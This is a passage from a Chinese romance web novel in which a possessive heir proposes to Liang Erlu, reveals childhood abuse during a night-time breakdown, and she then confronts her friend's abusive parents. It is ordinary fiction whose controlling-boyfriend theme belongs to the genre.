伞面滴答声急促,宛如她紧张的情绪。
“还怕什么?”
男人柔缓的声线好似安抚,梁尔璐挪他身侧,挽手同走:“这种不常住又长期养护的房子应该不会有gaza吧?蛇呢?山里的蛇会不会爬进去?”
“放心。”
“那我就放心了。”
林瀚睿垂眸瞧她依旧残留些微不安而簌簌翕动的眼睫,他紧拢眉心,撤回了目光:“你总是相信我说的话。”
“这不是最基本的信任吗?既然我都喜欢你了,亲亲,反正我信你是好人。”
不知怎么,神态平静的男人没顺势俯身,梁尔璐只得踮脚,攀着他肩角吻去脸颊,这才见林瀚睿弯唇拥抱她。
难以言喻的感觉浮现心头,兴许是因为看不到他此刻隐藏的表情。
她对自己的评价从未变过。
做事凭一腔野劲,遇挫了就老实接受,果断放弃导致失败的这个选择。
吃亏是福,但她希望林瀚睿给予的是另一种福气。
*
翌日。
偌大的庄园令梁尔璐发疯,她接二连三地抬腕号脉,确诊患了无聊病。
擦掉皮肤上方的面粉碎,她关灶火,拿木铲翻搅锅内被炒至喷香的雪白椰蓉,寻思蛋糕冷却得差不多就搬去厨房外间的餐桌。
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客厅说近倒也算远,梁尔璐隐约听着窸窣的动静,扒墙发现下班的林瀚睿背对了略弯腰,鬼鬼祟祟杵在茶几前摆弄什么。
人吓人会吓死,她等男人转过身也注意到,再跑去迎他,扑个满怀:“林北北!今天吃清汤火锅,我准备了补气血的少许中药,保准健康。说起来我妈放狠话,让我有本事就一辈子不回家。”
“你出门了?”
“嗯?嗯,我第一次花钱买中药材。”她一成年人上趟街,林瀚睿没必要这么皱眉担心吧?甚至越拥越紧?
“你从明天开始能不能别出门?”
又来了。
无法看见他表情的微妙感。
“啊?我本来就不是每天都出门的。”梁尔璐尚未缓过怔意,下意识嘶声,“痛,痛了,你轻点。”
可他根本不听,犟得自说自话。
“每天都不出去,好不好?”
她不清楚哪来的力气,成功挣开林瀚睿,不知所措的眼帘中映入他显黯的失落瞳色,掺杂几分患得患失的恐惧。
“喂……”几步回了原地,梁尔璐抬手托他的脸,“好,我每天都不出去了,其实我也挺宅的,你明天下班给我买更多零食,还有毛线,我给你织猫咪围巾,有猫猫的脸和四肢那种,特别可爱。”
切换了话题似乎也无效,得到想要答复的林瀚睿仅是持续走向她,进得她被迫后退。
是……还没安全感?还打算抱她?
不是。
这家伙不相信她会每天待家里?
梁尔璐急忙伸手保持双方距离:“kisskiss!”
看来信任问题仍需努力沟通。
只不过先别沟通了,鬼知道她怎么就绊到入室地毯的边缘,朝身后门板猛摔,使得林瀚睿趁势抵着她kisskiss。
怪她情急之下,脱口而出这句表示拒绝的网梗。
也不知吃她犯蠢嘴巴的狗东西是真断网不懂还是装傻。
得亏他虽然边吻边脱西装外套,但终究没往死里亲,单纯止于唇瓣吮弄,缓缓放开后道一句隐透贪飨情意的评价:“你身上好甜。”
“那当然,我做了一下午甜品,厨房和我都被腌入味了。”不对不对不对!她应该解释梗的内容!
正欲张口,林瀚睿手把手将她的五指按放去领带的结扣位置。
“做咩?”她异常费解,让欣赏漂亮的埃尔德雷奇结吗?
“我亲你的时候,你可以同时解开我的领带、衣纽、衬衫,皮……”
“啊——”省得他说出更多羞耻词,梁尔璐立即打断,“我我我知,知,我知道了!”
她忍耐面耳处的红热,垂眼翻看、琢磨这复杂的领结打法,记忆太过久远,不由地无从下手。
“等一下,怎么解这……”
抬头问惑之际,张合的两瓣嘴又被林瀚睿夺走,令她惊吟出声。
吻势汹涌而至,颤得梁尔璐掉落双手,匆忙攥紧他腰侧的衬衫,全然忘记他教过什么。
“听说宛宛学习能力可强了,那就下次再学。”
呼吸之间的轻语胜似千层激浪,湿热气息直洒她不耐痒的耳廓。
26.旧夏日
虽然梁尔璐满口说着喜欢,但从中医学角度辨证得出她虚了的结论,且分析他855社畜作息对她无业懒鬼的影响,强烈建议分房睡。
林瀚睿倒也同意,演技烂到底的梁尔璐绝对有小动作。
十多天以来,这日日为了博士论文努力的大小姐频繁待卧室睡觉,他还是第一次下班回家就在客厅见着梁尔璐。
周围窗帘挡得严实,大小灯全关,唯独亮了电视屏幕。
女人正懒散窝沙发,沉浸式玩中式恐怖游戏,后知后觉听清他的动静,却半眼都不曾抬来,只一句“林北北下班快乐”。
浅调的梧枝绿吊带睡裙也挺中式,稍浓些的青色绸缎暗纹外袍随意松垮拢了身,侧面看去,俨然是窄肩薄背。
总能在家里瞧她戴框架眼镜的模样,衬得脸廓又清瘦了一圈。
林瀚睿坐人身边,偏头凝她聚精会神的侧颊,轻轻揉捏她裙摆镂空绣花处的嶙峋脚踝。
“有时候鬼会突然贴脸开大,挺恐怖的,你不能接受就……”
“呀!痒痒痒——”听她瑟缩之下高声嚎了一嗓子,紧急往怀里捧住即将坠地的游戏手柄,立即转身怨怼瞪他,“吓死我了!四十多度高温天,你手和女鬼一样冷!林北北你以后少这样,万一我条件反射踹到你。”
梁尔璐往下望,这家伙还握着。
他手掌心的温度真比她体温低,这会儿倒是稍微习惯差异感了。
她长得高,可惜皮薄骨架大,身上乃至胸上都没几两肉,导致骨头横七竖八地突着硌人,哪有什么好玩的……
这么喜欢摸?
改天送林瀚睿一个170厘米的医用人体骨骼模型,也就比她矮八厘米,可以忽略不计。
“这是?”
察觉他将含笑的视线挪去电视,关注起游戏,梁尔璐回神。
“啊,我竹马,右边那哥们是天降……”嘴比脑子快,她迅速改口,“是女主角的竹马和天降。”
游戏中两个男人见面,屋内的留声机响着诡谲音乐。
呃,是阴乐。
别说游戏恐怖了,她现在感觉沉默的男主更吓人。
握在指间的手柄好似烫手山芋,她立刻退出游戏。
梁尔璐扯一声干笑:“吃……你吃了吗?”
“我只是问音乐名。”男人弯唇的弧度深些,随即面带疑惑,“宛宛,我刚下班,你怎么不问我睡了没?”
她垂眼,局促抹抹脸,后悔滑稽的口不择言。
遥控打开加剧了梁尔璐紧张情绪的厚实窗帘,林瀚睿俯身刮她鼻尖:“没关系,只是你离家出走十几天,竹马不关心?”
十几天算久?
梁尔璐怔住:“很奇怪吗?其实我们从小到大主动联系对方的频率本来就不高,但感情没淡过,他不关心只证明不知道我离家出走,对了,我之前问爸妈怎么还没报失踪,结果都相信我能独立生……”活。
稍等,她兴许是活不太平了,刚才在林瀚睿面前做了什么?光提起别的男人就够糟糕,又说她和竹马感情比金坚。
救命!
捂嘴没用,她甚至想把两瓣不听使唤的嘴皮子给撕了。
仓促低眸之际,听他出声打断:“怕什么?我会大方一点,等你改掉这个坏习惯。”
柔缓腔调内的哄意伴随拥抱而来,与她交颈的间隙耳鬓厮磨,林瀚睿放轻的嗓音揉入其中:“指甲很漂亮。”
“啊?谢,谢谢……”在家太无聊,梁尔璐为了搭配红钻手镯才做红宝石猫眼美甲,“腿更怕痒,给你玩我的手吧。”
此刻自然日光从挑高客厅的整墙窗户投进,使得指端显出透亮血浆红玻璃珠的质感。
“林北北,你还没告诉我阁楼怎么会有那种玩具呢,早知道我就不会去了,又正好撞上你醋味枪口。”
她挨向林瀚睿这人形靠垫,手背由他覆落的凉意舒服:“那你自己都说了,今天就必须把醋全咽肚子里,上次害得我体虚到现在还没恢复,看见我隔三差五针灸、吃中药、食补、运动、练功了吗?我虚得很。”
梁尔璐听见林瀚睿像是出于啼笑皆非的揶揄短音。
“以前家族到庄园聚会,同辈买的,快递却寄错地址,还没用就被父母发现。”
她哑口无言,佩服这世纪大社死。
“宛宛,我先回房间一趟。”
“好哦。”抓放起五指对他挥别,梁尔璐抱过笔记本电脑,扫视缩小至状态栏的文档。
真好,今天又写了零个字的论文。
通常这种时候,她喜欢去微信找导师报告进度,意图讨骂。
只是最近没消费记录,银行公众号却有新消息,显示上午收到了林瀚睿转账的八百万。
她向来是取消短信通知业务的,难怪刚知情。
懂了,落魄少爷是打算让她帮忙存点利息。
玩恐怖游戏时设置静音的手机已经亮了会儿来电界面,梁尔璐右划屏幕:“珩仔,怎么了?”
“明天当然有空,你爸妈难得回深城,居然请我吃饭?哎不!不用去我家楼下接,我到时候在小区附近那间面包店等你。”
“等等,所以我爸妈没受邀?你也不一起吗?不行,你必须和我一起。”她严重怀疑这是父母抓离家出走女儿的阴谋,“哪有什么为什么!难道你讨厌和我待一起吗?好啊,明天见。”
梁尔璐琢磨不透长辈这场饭局的用意,干脆专心往文档里输入论文基础格式。
“不会吧……又让我和珩仔结婚?啊——”
余光发现靠近的林瀚睿,她吓得后仰,傻愣愣抬头:“你你你走路没声的?比恐怖游戏还吓人!好吓人!我刚知道八百万的事,你以后不准给我钱了。”
“是你神游天外,想结婚了?电话打挺久,不知道的还以为你在和男朋友聊。”
林瀚睿坐回沙发,勾唇笑看脸色悻悻的梁尔璐。
若不是为了装穷,他会让银行柜台转八亿。
满呼吸充斥了阴阳怪气的酸味儿,梁尔璐见他从卧室取的相机:“你就这么喜欢拍我?”
“是。”
之前不知道哪来的闲工夫,二人相处间,他开始捣鼓沉重的单反,乐此不疲地拍了十余天。
“腻不腻?你拍点别的。”
挽了男人到餐厅,梁尔璐示意桌面摆置着的一大捧无尽夏花束。
她递过这盈满了怀的蓝色:“我折的纸花,但必须也得有鲜花那种排面。”
“所以你这几天分房睡,是偷偷准备这个。”
轻拂软硬适中的花尖表层,数抹冷蓝簇拥。
“对啊,因为我是在夏天遇见你的。”梁尔璐抬眸,直对林瀚睿明显流淌意外之喜的浅色眼瞳,“林北北,我家乡下的中草药种植园里有一大片无尽夏花田,找时间带你去看。”
顺带进厨房,她指烤箱内正保温着的蛋糕:“看,抹茶古早蛋糕,你吃你自己,是芝
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士海苔肉松和咸蛋黄流沙馅的。”
这绿茶男的微信备注名可是“抹茶小蛋糕北北”。
开橱柜拿碗盘的脚步刚抬,梁尔璐倏地被林瀚睿揽腰圈入怀里,她慌忙攥紧男人的手臂来稳住身形,惊惑仰脸望他:“你不喜欢吗?”
“怎么会?我喜欢死了,带你去个地方,比庄园有意思。”
她思绪仍然停留在夸张且不吉利的程度词上,却没时间纠正,由林瀚睿带到一间仓库前,匀速上卷的闸门背后,停了架直升机,侧面排列成行的舷窗投出昏黄暖光。
梁尔璐目瞪口呆,几乎是倒吸凉气:“你真的比恐怖游戏更吓人!”
牵她进机舱的林瀚睿将湛蓝无尽夏花束放到窗沿的长沙发,一并靠在旁边估摸着能有199支的红玫瑰花抱抱桶,大小相依。
梁尔璐长久犯怔,傻钉原地似地几度欲言又止,终究集合成一句:“好恐怖……”
林瀚睿根本料想不及她竟是这反应,下意识轻笑:“那我帮你压压惊。”
一块儿坐去对面,梁尔璐见他打开桌面的小冰箱,稳妥拿出木质圆形托盘,上方摆了个六寸左右的甜品,由玻璃罩子盖着。
“我昨天回别墅做的抹茶巴斯克,冷藏了整晚。”
管这叫压惊啊?
梁尔璐无声瞅林瀚睿垂眸切蛋糕的认真模样,寻思他昨天说要加班,敢情是偷偷准备这个。
“你这个人坏得很。”她弯眉眼,笑意了然,握勺舀起细腻软实的巴斯克内陷,丝缕的甜中和了清苦抹茶。
梁尔璐将第二口喂他:“好吃!你再给我做椰香芋泥巴斯克。”
右侧的舷窗不大,但足够看清落日的霞光倾洒海面。
家住十六楼,她平时喜欢待阳台俯瞰揉满了夕阳的海,风掠过就浮漾碎金似的粼闪,橙中沾染绯色的温柔辉芒能一直蔓延到对面的港岛。
这还是她第一次在逐渐高入云际的飞机里欣赏渺远橘子海。
转身想招呼林瀚睿看一朵形如螃蟹的云,却见他唇际衔笑,不知何时单膝跪了地,手握打开的戒指盒。
“是,我对你一见钟情。”
“在遇见你的夏天之前,我接受按部就班,和没感情的女人结婚,是你把这个糟糕的结局扭转了。”
“你和自然卷发质一样金贵,不能淋雨,请问我能否拥有为你撑伞的资格?”
机舱分明将所有喧哗隔绝于耳,却似乎听见风声附和阳光,与之共鸣的沸腾。
梁尔璐急忙把震惊到拿不稳的碟勺放回桌,站起直直贴墙,颤了指节捂嘴:“谁教你这样帮人压惊的!”
吃愣三两秒,她心悸着挪前几步,伸手。
钻戒环在指围的一圈凉意鲜明,戳得梁尔璐心口愈是软乎,化水般泛滥到湿漉。
眼泪决堤般外涌,她哭兮兮替林瀚睿戴上宝石手镯:“它是我最爱的首饰,陪我的时间最久。”
“你是我最爱的女人,请你陪我一辈子。”
眼看他张口就来情话,梁尔璐红脸低头,干脆借助拥抱避免了四目相对:“嗯。”
林瀚睿唇间热息擦动耳畔,嗓音偏轻:“你想再吃一块抹茶小蛋糕吗?”
“半……可是我连半块都还没吃完呢。”她忽然绕不过林瀚睿这道思维的弯。
因此迷茫翕眨的湿润眼睫竟是被他蜻蜓点水似地吻落。
男人含情的眉目近在咫尺,声线拈弄了笑腔:“被你吃到了。”
27.旧夏日
也不知是谁得逞吃到了,林瀚睿这句调笑似乎不绝于耳。
睫羽处仿佛停歇微微向内抵的外力,梁尔璐睁眼的一霎眨速稍滞,随即眸色讶异:“之前在面包店门口,我亲到你了?”
当时双方的距离和这次几乎相同,是极容易引发意外触碰的贴近。
脸烫,她抿唇皱眉苦了神情,胡乱帮目光逃去旁边,却由林瀚睿捏了下颏逮回。
见他退开,心情不错地弯唇点头:“别等七老八十了,被我吻了还这么腼赧。”
戳肺管子般的,梁尔璐羞恼着反骨大动:“我剁掉你狗爪子!说起来我也得去个地方,但你不能和我一起。”
“哦,都没到七老八十就开始嫌弃我。”
好吧,确实被她吃到抹茶小蛋糕了。
梁尔璐瞪向林瀚睿故作委屈的双眼:“你别装可怜,我等会儿见的人才是真可怜,总之你一起去,但待在车里。”
“提前结束吧,下次必须和我坐够时间,坐飞机的坐。”林瀚睿仅能猜到是重症病人,通知机长取消既定航线,越海飞回庄园。
“你多余解释干什么……”她会听不懂吗?梁尔璐服了,抡抬个甜品小勺佯装打他。
“怕你再瞪我。”男人唇际扬起弧度,混在字句中的轻笑声漫不经心,坏意倒是徒增。
紧急收敛这被完全预料的怨怼冲动,她忍:“你活该。”
*
夏日昼长,距傍晚久了好些的天色依旧敞亮,梁尔璐拐进高速公路对面的村庄。
她瞅眼车后座下了班仍拿平板看文件的林瀚睿。
放在副驾的野营箱不算重,无非装着够用几个疗程的中药材,只是没走两步,病人的家属便跑近了接过,梁尔璐两手空空,轻松去迎缓慢且颠簸挪步的女孩。
基因突变导致的罕见病令她全身皮肤皲裂,观感尤其黑脏,烧伤一般得狼藉。
“澍澍,姐姐有没有弄疼你?”虽说她已经熟练掌握抱这孩子的要领。
“没有,谢谢姐姐。”受到异于常人皮肤新陈代谢速度的影响,小姑娘四肢和面部都僵硬不利索,无法正常闭合的上眼睑往外翻翘干涩,红得惹怜,总怯怯。
林瀚睿那白白净净的姿色,保准能正中她的自卑心理。
身旁同行的孩子母亲低呼一声:“梁小姐,这次的药不是你家中医馆的?这也太破费了。”
“同行嘛,父辈关系好,我照样白拿的。”梁尔璐扯笑安慰,再怎么能卖家长的人情,她都不好意思赶其它店里零元购。
离家出走就是麻烦,总之再叛逆几天,她得顶个铁头回家挨骂。
避免进屋被送些吃吃喝喝的,她半路与母女俩道别,迅速逃了挽留。
到车边时主驾驶位已由林瀚睿占坐,梁尔璐绕另侧:“你懂我意思了吧?那丫头是患了中西医无法治愈的先天性罕见皮肤病,平时靠中药泡澡缓解吊着命,以前他们自己拿医院的处方,大老远去我家中医馆抓药,之后我有空就送货上门。”
“先天性……只这一个?”
“嗯,全市以内也罕见得要命,很让人心疼的小孩。”她系扣安全带,能听出林瀚睿话语中的难以置信,“你往前开,有间冰室。”
单趟车程已经太长,飞机里吃下的一块蛋糕也捱不住饿劲,梁尔璐赶时间买了支雪糕。
甜筒的凛冽丝丝侵入指腹,她换地方捏,撕包装的同时察觉林瀚睿喉间溢出疑惑的嗓音。
“冰淇淋居然叫这个?是我想错了。”
视线从他恍然大悟的神情转移到手间,梁尔璐愣:“你以为叫什么?”
“花心大少。”
算是被林瀚睿尴尬的一阵沉默惹笑,她翘起挡住字眼的指节:“人家叫花生大少,里面有花生酱。”
梁尔璐眨眼,意外于他眸光怔忡,直盯这甜筒的模样:“没见过,好吃吗?”
偶然可见林瀚睿孩子气的一面。
吃不了冷食的小可怜。
“童年回忆能难吃吗?”继续剥开些包装纸,她递近,“你小口试试,含热再咽。”
“等我吃到下面的花生酱冒出脑袋了,你再来一口?”
“嗯。”半截升腾冷气的冰淇淋尖尖由林瀚睿俯身咬断,受沾染的唇瓣因此略微濡湿晶亮,周围是血色不足的面部皮肤。
她真怕这病恹恹的家伙随时晕了。
省得人不舒服,她抢过方向盘,重新导航另条新路线,以最快的速度回庄园。
梁尔璐眼睁睁看林瀚睿精打细算,掐准时间叫了桌外卖充当晚餐,她意念合拢惊掉的下巴。
不知道的还以为家里有二十张嘴等着喂,虽然她饭量大,但最近莫名其妙地消减了胃口,包括从不觉腻的甜品胃,兴许是因为今年夏季更热了。
陆续将剩菜全数搬进冰箱,林瀚睿费解梁尔璐的反常:“你不舒服?”
她百无聊赖地抬肘搁桌沿,支起脸颊,发顶一时遭揉,男人凉凉的手温能沁入发根,赶跑梁尔璐不少烦闷:“我很舒服,没关系,遇到困难睡大觉。”
可惜睡也不安稳,长时间处于半梦半醒的状态,梁尔璐对外界声音知晓得一清二楚,且脑子活络,总感觉忘做了什么重要事。
扰她突然睁眼。
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对啊,睡前没和林北北说晚安!
不过时值后半夜,她扶额,横竖等起床道早安就行。
辗转睡姿之际,梁尔璐隐约听见玻璃坠地的声响,当即冲到隔壁林瀚睿的卧室。
床头柜连同浴室的灯都点亮,滑落的被褥一角旁四散碎裂玻璃杯,水痕持续蔓延。
至于浴室内,墙面好端端的镜子显然被砸了一拳,林瀚睿双眸泛红,失魂落魄地塌肩站在盥洗台沿,指间淌满血。
情况未免也太过糟糕,她上前拥抱颤栗的身躯:“做噩梦?都是假的,没事了。”
可他连掺杂哭腔的嗓子眼也碎得打哆嗦。
“都是真的,小时候我爸经常说,我内脏有先天性疾病,全怪我妈咪,连生个孩子也这么没用。”
“我很小就必须写家族生意的作业,第一次时我六岁,因为选择更柔和的经商手段,被我爸带到镜子前,他掐我的脸,用烧了我妈的遗物来威胁,他说……”
梁尔璐听林瀚睿笑了简短的半声,是刺耳的奔溃。
“这就是没用的女人生的废物,看清楚你是谁,控制和赶尽杀绝才是你该做的事,哪怕是杀你那些碍眼的堂兄弟,甚至杀我,记住了吗?”
“可是我不怪妈咪,我不能怪她,我死都不会怪她的。”
梁尔璐也只刚睡醒,浴室冷白的灯光多少算晃得炫目。
“嗯,你做得对。”轻抚林瀚睿背脊处的强烈不安,她缓些语速,“床头柜上的安眠药,你以前没少吃吧,今天别再用,我会陪着你的。”
触感鲜明,男人正收紧环她腰的力道。
林瀚睿耳边响起下意识的轻咛,语气沾些吃痛的抱怨感。
他感知混沌,自天花板顶灯投亮在地板的整片雪亮,似乎顷刻间崩坏,涣散为极其灼眼的稀碎光点,怀里比他体温更热的温软,变成最鲜明的实感。
完全听不清她说了什么,感觉距离遥远得能令他失去什么,但是……但是他记住了。
梁尔璐是他的爱人,不用被赶尽杀绝,所以只需要控制她。
那他用什么才能一直留住她?
对。
温柔。
对!对!
他必须放手。
不!不放手……不能放手!
是,不是那种放手。
他绝对不允许梁尔璐离开。
直观加剧的疼痛因男人双臂松开大部分力气,迅速且彻底消失,梁尔璐算是松口气。
既然他笑了,应该已经平复情绪。
该说不说,林瀚睿醋缸子没倾翻时还挺正常,怪容易哄的。
28.旧夏日
梁尔璐确定林瀚睿暂时仍没放开她的打算,倒也继续任由。
衣物窸窣相擦,肩处俯落了男人软戳的发绺。
他平静说话导致的热息轻洒颈窝:“宛宛,你今天能和我睡一张床吗?”
“啊?我……我刚才已经这样说过了,你没听见?”梁尔璐急忙脱离他怀抱,掌心覆去额头,“没发烧,你哪儿不舒服?”
“听得见,我只是再向你确认一遍。”垂眼敛去破绽,林瀚睿对准盥洗台激涌而出的迅疾水流,简单冲净五指间停溢状态的血渍,视线挪到她怔住的脸,“怎么了?走,我们该睡觉了。”
梁尔璐难收略缩的惊异瞳孔,怀疑林瀚睿失去痛觉。
“哦,我弄脏了你衣服,对不起,你在这等等,我去拿件过来。”
目光直直追他渐远的背影,梁尔璐傻眼。
等等。
林瀚睿似乎不正常?
八成是碍于童年阴影的心有余悸。
一通安抚见了成效,她心态放松又犯起困,倦意在林瀚睿递过的粉色睡衣时退了些许。
她哭笑不得:“这套的码数适合你,我才送你的,自己真没法穿,否则上半身唱戏,下半身拖地。”
“不会摔,我可以抱你。”
果然……
“我就知道你要在这使坏呢!”梁尔璐恼他未再隐藏心思的调侃笑意,“出去,我只穿上衣,气死你。”
“好啊,出来罚你唱戏给我听。”
“小心我的水袖攻击!”
浸泡好染血的衬衫,她多望了两眼镜中睡衣能当裙子的长度,回到卧室却愣没张望着半个人影,原本狼藉的地面已恢复原貌。
*
林瀚睿在阁楼找到几张裹碎玻璃的旧报纸,下楼半途偶遇梁尔璐。
睡眼惺忪得湿漉漉,怀里紧抱个枕头,一见了他便跑来挽手。
枕边消失的大部分深刻褶皱,彰示了她慌张情绪的淡褪。
林瀚睿逗弄人的兴致倒是依然高:“说了我抱你,害怕的时候枕头派不上任何用场。”
确实,大夏天的还热。
梁尔璐撇嘴,嗓音发闷:“我真的真的不喜欢这庄园,但你别再锁我,好不好?”
“想什么呢,我遵纪守法,上次只是陪你玩游戏而已。”
“不好玩不好玩……”她想到这回事总犯怵,一时没敢与林瀚睿含笑安抚的眸色对视。
没关系,那晚他是同时吃醋了才玩性大发的。
“别怕,我刚才只是去阁楼找报纸,碎玻璃不能直接扔,你说对吗?”
她正满心担忧,倏地从男人话中捕捉恐怖关键词,受了吓唬而仓促松开林瀚睿手臂,可还没来得及迈步后退,提前被他攥住腕部。
这不容置喙的动作迅疾,惊得她下意识抬头。
林瀚睿向来就对她逃避他视线的小动作没耐心:“怎么了?”
掌心内,梁尔璐腕骨硌人的触感分明。
睡衣到底偏大,拢得她身形愈加瘦削,处于讶异状态中转促的呼吸,使得领口位置的半截锁骨尖锐不少。
如同她生气抱怨:“你欺负我还明知故问?你这个人……今天特别坏!坏到极点!”
“是吗?起码我舍不得强迫你说出为什么,其实那样更有趣,你认为呢?试试这个玩法?”
察觉梁尔璐双眸红得快,阈值低得林瀚睿沉默一瞬:“娇。”
她确定没听懂末尾字,眨眨半湿的眼眶:“什么?”
男人却只抬手,伸向楼梯扶栏外围,几张轻飘的报纸因此簌簌下落,伴随他平静的声线:“没什么,太晚了,当务之急是睡觉。”
怀里的枕头也由他抽走,随意扔地上,持续滚落高低倾斜的楼梯。
“一个枕头就够我们睡了,不过……”
梁尔璐递过疑惑的神情,等他后话。
“宝宝,你明天是不是要和竹马去吃饭?”
她脑子顿时宕机,眼泪哗流地擦也来不及,逐渐模糊了视野之内,林瀚睿坦荡而恶劣的唇角弧度:“不是!是,但不是和他两个人一起吃饭。”
出大问题,会导致被拉着玩游戏的“她讨厌庄园”和“他吃醋”两个前置条件都齐全了。
使坏得差不多尽兴,林瀚睿拥她,柔声:“放心,我真的不会再锁你。”
纯粹是想看她哭。
梁尔璐总觉得冥冥之中有玄学,爸爸年轻时堪称拥抱狂魔,到头来她谈了个公主抱狂魔,一天天的牛劲儿没处使。
挨着床缘,林瀚睿拿纸巾替她擦泪,软乎乎的质感渗走脸部不少湿润,片刻便遭他揉成个松散的球团子丢身后。
男人倾身与退离之间延续了蛮久,梁尔璐捂嘴适应被轻微扯疼的舌根,并未多么用力的五指由他握住,压扣去被褥上方,不再受阻碍的脖颈骤然发热。
听他唇齿间的灼烫嗓音含混:“就到这为止,所以多给我一些,明天遮住吧。”
*
长期养成的生物钟让林瀚睿第二天自然早起,他凝看怀里熟睡的梁尔璐,毫无防备的模样舒缓了攻击性不低的明艳五官。
双方都能整晚保持同个睡姿,看得出来她对他这人形抱枕相当满意。
轻声进浴室,林瀚睿掠看镜面虬根似蔓延的裂纹。
他需要吃安眠药,但不频繁,床头柜那药瓶只装有其余品类。
疯癫的父亲难得大方留了半瓶。
昨晚梁尔璐闻声赶来时,药效还没彻底压下病情,他仍处于躁期,亢奋得思维活跃,交流欲望高涨,这才使劲欺负她,甚至醋到第一次给她在脖子留吻痕。
并非出自他本意,却也只能怪自己。
但又挺愉悦。
卫生间外拖鞋曳地的声音轻重缓急不一,充满瞌睡劲。
梁尔璐哈欠连天,倚靠门框支撑困倦身体:“林北北,你怎么不叫醒我啊?珩仔他们约了早茶来着,迟到不好。”
“我有这么大度?”
她稍揉畏光的眼,见林瀚睿微笑视来。
哈哈,是死亡微笑呢。
“哼,你又来了……他爸妈也一起的嘛。”梁尔璐摆手,“天天吃醋对身体不好,我乃堂堂中医世家第九代传人,听我的,不会错!看在你是我男朋友的份上,我就不收取诊费了。”
“梁宛宛,你能长点心吗?清醒了再和我说话?话里不要带其余任何男人?收起你们青梅竹马之间的爱称?”
双颊被林瀚睿揪住了捏,力道轻得几乎可忽略,他接二连三的问语柔和,满是恨铁不成钢意味。
“你这辈子都别奢望我收敛甚至改掉对你的占有欲。”
虽然句义全强势得凶巴巴,但他整个就是一副拿她没辙的退让姿态。
“哦。”梁尔璐忍笑,因错误溢出几丝,立即撒腿跑回隔壁卧室。
坐梳妆台前遮掩颈部红印时,她收到林瀚睿去上班了的报备消息。
开头的“梁医生”三个字是真坏。
梁尔璐毫不犹豫回复他——滚滚滚。
这狗东西昨晚三句不离梁医生,询问她老半天脖子能留吻痕的安全位置,问一遍忘一遍,装得欠揍。
若是按原计划在面包店与梁奕珩相见,她又该害臊想起林瀚睿那借位假吻和她的意外真吻。
向梁奕珩母亲问到安排饭局的酒店地址,梁尔璐通知他别白跑一趟。
好歹是见长辈的场合,她提前赴约,窝陷酒店大厅的皮质沙发昏昏欲睡,呼吸间倏地出现煎炸食物焦香。
“粟米饼!”梁尔璐接过眼前开了盖子的食盒,抬头对梁奕珩扬笑。
她实话实说:“好吃,没想到我有一天也能吃到你下厨的成果。”
“你做梦呢?我买的。”
“骗你的,难吃。”梁尔璐不戳穿他假装的疑惑神情,顺这玩笑的意。
“谢谢,尔妹你先听我说,要么我们现在就……”
“哎,你爸妈到了,走走走。”
她印象里,这对夫妻寡言少语,属于严厉那挂的。
说是早茶吧,也不像她家平时从早吃到中午,眼下这桌只半小时不到便结束了,梁尔璐没敢多说话,毕竟向来都不擅长应付他们,只能把礼貌值拉满。
身旁一同走出负二层停车场电梯的梁奕珩却打断她与长辈们道再见:“走吧,我车在另一边。”
梁尔璐抬头望他瞧不出情绪的平静侧脸:“可是我还没……”
怎知再次被他中止。
“我昨天就说过自己不打算来,也让你推了这顿饭,没事,我们这就走。”
前方有些距离的夫妻俩,因这句分贝略响的着急话而转身:“奕珩,你怎么还没妹妹懂事?不和爸爸妈妈说再见?”
“不说又怎样?我非要带她离开,就现在。”
梁尔璐吃惊,头一回见梁奕珩这么无礼不敬。
而且总感觉他就算保持沉默,父母也照样会挑刺儿?
*
“Hendrix,那不是梁小姐吗?好像出事了。”翁秘书刚要下车,看清斜对面仿佛对峙的四人,他提醒大清早结束应酬,又继续埋头于电脑的老板,稍微打开车窗一条缝隙。
林瀚睿悬空键盘上方的手指陡然停滞,循视线望去。
表情呆愣的梁尔璐被梁奕珩护在身后,挡着父母的恶言相向。
“这狐狸精是怎么吹的枕边风?让你放弃好工作,不要这个不要那个,只知道和爸妈作对!”
“不争气的东西,这种靠收租起家的暴发户,怎么配得上你!”
“给什么都没做的晚辈造黄谣,这就是你口中引以为傲的家?”
“你们只想让我听话成为家里最拿得出手的宝贝,但我偏不,尔璐是她父母的宝贝,也是我的宝贝!你们这种人没资格对她说三道四!”
严重处于状况外,梁尔璐被扇了儿子耳光的中年女人结结实实推了一把,跌得额头与手臂直撞车子引擎盖。
动静响得很,她下意识担心将陌生豪车砸凹个洞。
她忍住头晕目眩的不适感,在梁奕珩搀扶之前站起,拦他身前:“真是笑死了,我昨天刚听说一个乱教孩子三观的神经病活爹,今天就碰上你们了?”
“喂,都是去哪报的补习班才会带出你们这种根本不配做父母的人啊?天上地下只认为自己做得最正确?梁奕珩是我爸妈当亲儿子宠的宝贝,有血有肉的宝贝,不是你们用来炫耀的工具!”
“我们珩仔,我惯的,怎么了?他就算想去捡垃圾生活,我也随他,起码对社会有贡献,你们才是祸害精!祸害
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精!”
估计是太没教养,对方被她干沉默了……
梁尔璐冷哼收尾,怂去梁奕珩身后躲。
几乎是擦肩的一瞬,手腕由他攥了往前带,逐渐远离夫妻俩。
听到耳里的男声异常平静:“对不起,都是因为我,上次你在这酒店出事也因为我,对不起,我真的很没用。”
“你胡说八道什么啊……是那些要害我的人负全责。”
磕伤的额头还蛮疼,梁尔璐发现摸过的指腹没沾血迹,松口气:“你因为这种家长不开心,以前就应该告诉我了,你看看我闺蜜,在我家住很多年!珩仔,搬我家呗,感觉你喜欢一个人住,还有几套别墅空着,随便挑距你工作的大学更近的。”
“晚点搬,我先送你回家。”
她愣,都离家出走了,连忙摆摆手:“不……我自己就行了。”
幸亏梁奕珩没坚持,只从车里翻出一瓶红花油递过。
车库出入口失去遮挡,焦烈的阳光铺天盖地。
网约车APP的开屏广告倒计时仍没归零,梁尔璐身旁已停来辆白车,之前与她打过一次照面的翁秘书探出窗户:“梁小姐,林总让我给你带句话,公主请上车。”
“没错,林总刚才也在,这是冰袋和红花油,他还有话说。”翁秘书清嗓,掐出模仿的腔调,“别多想。”
“谢谢,麻烦你了。”
他收回瞅后视镜内女人弯着唇系安全带的视线。
小老板甚至拨了几个保镖,送女朋友的异性朋友家去,问就是用来防人神经病爹妈发癫的。
没见色忘友,大度啊。
*
清早遇个鸿门宴,梁尔璐后悔出门没看黄历,她食欲不振且犯困,实在怕饿死了,才草率捣鼓一顿林瀚睿不回庄园吃的晚饭。
据说是商务洽谈,他需要进行短期出差,为之前竞拍到的一块地皮对接房地产项目,公司打算开始北上开发市场。
